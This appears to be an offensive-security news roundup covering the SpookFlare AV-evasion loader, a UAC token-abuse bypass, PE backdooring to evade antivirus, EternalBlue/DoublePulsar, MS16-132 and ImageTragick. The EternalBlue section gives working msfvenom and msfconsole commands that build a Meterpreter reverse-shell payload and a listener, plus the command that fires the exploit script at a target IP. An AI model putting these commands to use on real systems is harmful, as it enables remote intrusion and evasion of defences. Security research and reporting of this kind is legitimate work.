Spookflare


SpookFlare gives you the opportunity to bypass the endpoint countermeasures at the client-side detection and network-side detection. SpookFlare is a loader generator for Meterpreter Reverse HTTP and HTTPS stages. SpookFlare has custom encrypter with string obfuscation and run-time code compilation features so you can bypass the countermeasures of the target systems like a boss until they “learn” the technique and behavior of SpookFlare payloads.
More info: https://artofpwn.com/spookflare.html
Project: https://github.com/hlldz/SpookFlare

Bypassing UAC with access tokens

@tiraniddo released slides, demo videos, and some source code from his Zero Nights 2017 talk: Abusing Access Tokens for UAC Bypasses. Get it on his Github.
Summary:
“UAC, specifically Admin-Approval mode, has been known to be broken ever since it was first released in Windows Vista. Most of the research of bypassing UAC has focused on abusing bad elevated application behavior, auto elevation or shared registry and file resources. However, UAC was fundamentally broken from day one due to the way Microsoft implemented the security around elevated processes, especially their access tokens. This presentation will go into depth on why this technique works, allowing you to silently gain administrator privileges if a single elevated application is running. It will describe how Microsoft tried to fix it in Windows 10, and how you can circumvent their defences. It will also go into detail on a previously undocumented technique to abuse the assumed, more secure, Over-The-Shoulder elevation on Windows 10.”

Backdooring PE Files

Haider Mahmood has a nice write-up on his blog using a few different techniques to backdoor PE files, making them (hopefully) fully undetectable by anti-viruses. Some restrictions he used in the process were: not changing the functionality of the program itself , or increasing the file size, and avoiding using other common techniques like msvenom, veil, and other crypters/packers. The techniques he covers to help reduce the AV detection rate are, changing the PE’s section header, codecaves, and dual code caves. He goes over the pros and cons of each usage.

EternalBlue/DoublePulsar

A few weeks ago ShadowBrokers released a dump of NSA/EquationGroup tools used to exploit various machines that they previously tried to auction off unsuccessfully. One of the exploits was for Windows SMB RCE which allowed an unauthenticated attacker to gain System-level privileges on target machines remotely by sending a specially crafted packet to a targeted SMB server. Microsoft quietly patched this as MS17-010 a month before, in March, before the dump was even made public. Although the dump was supposedly stolen around 2013, this affected Windows machines from Win2k up to Win2k16. Most reliable targets were Win7 and Win2k8 R2.


One exploit was codenamed EternalBlue. Everyone quickly jumped on the tools and found that along with ExternalBlue there was another tool called DoublePulsar that allowed you to inject shellcode or DLLs into the victim target after they were exploited with EternalBlue, it sets up the APC call with some user mode shellcode that would perform the DLL load avoiding use of the standard LoadLibrary call. DOUBLEPULSAR implements a loader that can load almost any DLL. A few people had writeups [1] & [2] on how to successfully install the tools in Windows and on Wine on Linux using older versions of Python. It was also discovered you could replace the DoublePulsar .dll with something like Meterpreter or Empire to have more control over your target with the need to use the NSA-provided GUI tool called FuzzBunch.

One could simply use Metasploit to create a .dll using:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.2.153 LPORT=9898 -f dll -o meterpreter.dll
msfconsole -x "use exploit/multi/handler;set LHOST 192.168.2.153;set LPORT 9898;\
set PAYLOAD windows/x64/meterpreter/reverse_tcp;set ExitOnSession false;exploit -j"

This will create a .dll and open a reverse handler, then you would only need to copy or point to the dll from your attacking machine to use.

@JennaMagius and @zerosum0x0 from RiskSense took a different approach to the tool by replaying network activity of the the attack using a Python script, they were able to eliminate the need to use older versions of Python and needing to do without going through the EternalBlue/DoublePulsar scripts and you are now able to load a Meterpreter payload automatically to the victim with only passing the IP and the path to your Meterpreter payload as parameters. https://github.com/RiskSense-Ops/MS17-010/tree/master/exploits/eternalblue
On Kali create your own bin payload (edit to your own IP & port):
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.101 LPORT=9898 -f raw -o test.bin
then with python 3.6.1 on Windows or Linux run:
C:\MS17-010-master\exploits\eternalblue>python eternalblue.py 192.168.1.129 test.bin

They’ve concluded that there is a buffer overflow memmove operation in Srv!SrvOs2FeaToNt. The size is calculated in Srv!SrvOs2FeaListSizeToNt, with mathematical error where a DWORD is subtracted into a WORD.So far they’ve gotten Win2k8 R2 to trigger the exploit reliably and are continuing to work on different Windows versions and architecture.

UPDATE:
They have just released a Metasploit module that targets Win7 and Win2k8 x64 ::HERE::

Microsoft Windows Animation Manager Memory Corruption Vulnerability (MS16-132) (CVE-2016-7205) + POC:

A memory corruption in the Microsoft Windows Animation Manager which allows a malicious user to remotely execute arbitrary code on a vulnerable user’s machine, in the context of the current user. JavaScript POC ::HERE::

Image Tragick CVE-2016–3714

logo-medium
☑ Nickname
☑ Logo
☑ Hype
☑ Website
☐ POC

https://imagetragick.com/
ImageMagick reported today (CVE-2016–3714) allows image uploads to trick the ImageMagick software into running commands instead, leading to a remote code execution(RCE)bug. More info ::HERE::